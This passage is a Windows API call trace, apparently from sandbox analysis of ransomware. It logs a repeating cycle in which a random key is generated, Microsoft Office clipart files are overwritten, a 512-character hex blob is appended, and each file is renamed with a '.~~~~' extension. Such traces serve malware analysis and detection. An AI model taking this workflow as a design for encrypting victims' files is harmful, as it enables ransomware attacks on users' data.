	[0097.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2988 | out: hHeap=0x300000) returned 1
	[0097.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842f68
	[0097.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.015] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.015] GetLastError () returned 0x0
	[0097.015] GetLastError () returned 0x0
	[0097.015] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.015] GetLastError () returned 0x0
	[0097.015] GetLastError () returned 0x0
	[0097.020] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffbd5c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.020] WriteFile (in: hFile=0x124, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x42a4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x1f8fec0*=0x42a4, lpOverlapped=0x0) returned 1
	[0097.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0097.029] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.029] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.029] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.029] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.030] CloseHandle (hObject=0x124) returned 1
	[0097.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.030] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.~~~~")) returned 1
	[0097.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0097.031] GetLastError () returned 0x0
	[0097.075] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.076] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.076] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0097.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.076] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21706643511) returned 1
	[0097.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa39374f0, dwHighDateTime=0x1d60e1e)) 
	[0097.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0097.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0097.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0097.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840730
	[0097.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840730 | out: hHeap=0x300000) returned 1
	[0097.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843098
	[0097.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.077] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.078] GetLastError () returned 0x0
	[0097.078] GetLastError () returned 0x0
	[0097.078] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.078] GetLastError () returned 0x0
	[0097.078] GetLastError () returned 0x0
	[0097.109] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffdd64, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.109] WriteFile (in: hFile=0x124, lpBuffer=0x293b068*, nNumberOfBytesToWrite=0x229c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x293b068*, lpNumberOfBytesWritten=0x1f8fec0*=0x229c, lpOverlapped=0x0) returned 1
	[0097.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293b068 | out: hHeap=0x300000) returned 1
	[0097.111] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.111] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.111] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.111] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.111] CloseHandle (hObject=0x124) returned 1
	[0097.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.112] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.~~~~")) returned 1
	[0097.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0097.113] GetLastError () returned 0x0
	[0097.120] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.121] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.121] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0097.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.121] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21711134282) returned 1
	[0097.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa39a9910, dwHighDateTime=0x1d60e1e)) 
	[0097.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0097.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0097.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0097.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28407d8
	[0097.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28407d8 | out: hHeap=0x300000) returned 1
	[0097.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0097.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843260
	[0097.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.122] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.122] GetLastError () returned 0x0
	[0097.122] GetLastError () returned 0x0
	[0097.122] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.122] GetLastError () returned 0x0
	[0097.123] GetLastError () returned 0x0
	[0097.127] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffdfc4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.127] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x203c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x203c, lpOverlapped=0x0) returned 1
	[0097.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.128] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.128] WriteFile (in: hFile=0x144, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.128] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.128] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.128] CloseHandle (hObject=0x144) returned 1
	[0097.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0097.129] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.~~~~")) returned 1
	[0097.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0097.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0097.130] GetLastError () returned 0x0
	[0097.130] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.131] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.131] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0097.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.131] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21712144317) returned 1
	[0097.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa39a9910, dwHighDateTime=0x1d60e1e)) 
	[0097.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0097.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0097.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0097.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840810
	[0097.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840810 | out: hHeap=0x300000) returned 1
	[0097.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0097.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843688
	[0097.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0097.132] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.132] GetLastError () returned 0x0
	[0097.132] GetLastError () returned 0x0
	[0097.132] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.133] GetLastError () returned 0x0
	[0097.133] GetLastError () returned 0x0
	[0097.158] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffecb0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.158] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1350, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1350, lpOverlapped=0x0) returned 1
	[0097.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.159] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.159] WriteFile (in: hFile=0x144, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.159] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.159] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.159] CloseHandle (hObject=0x144) returned 1
	[0097.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0097.160] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.~~~~")) returned 1
	[0097.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0097.161] GetLastError () returned 0x0
	[0097.306] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.396] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.396] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.396] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21738589634) returned 1
	[0097.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa3c31070, dwHighDateTime=0x1d60e1e)) 
	[0097.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0097.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0097.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0097.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840928
	[0097.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840928 | out: hHeap=0x300000) returned 1
	[0097.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c118
	[0097.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.396] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0097.396] GetLastError () returned 0x0
	[0097.397] GetLastError () returned 0x0
	[0097.397] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0097.397] GetLastError () returned 0x0
	[0097.397] GetLastError () returned 0x0
	[0097.400] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff300, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.400] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0xd00, lpOverlapped=0x0) returned 1
	[0097.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0097.400] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.400] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.401] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.401] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.401] CloseHandle (hObject=0xc4) returned 1
	[0097.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.401] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.~~~~")) returned 1
	[0097.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0097.402] GetLastError () returned 0x0
	[0097.402] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0097.403] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.403] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0097.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0097.403] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21739288506) returned 1
	[0097.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa3c571d0, dwHighDateTime=0x1d60e1e)) 
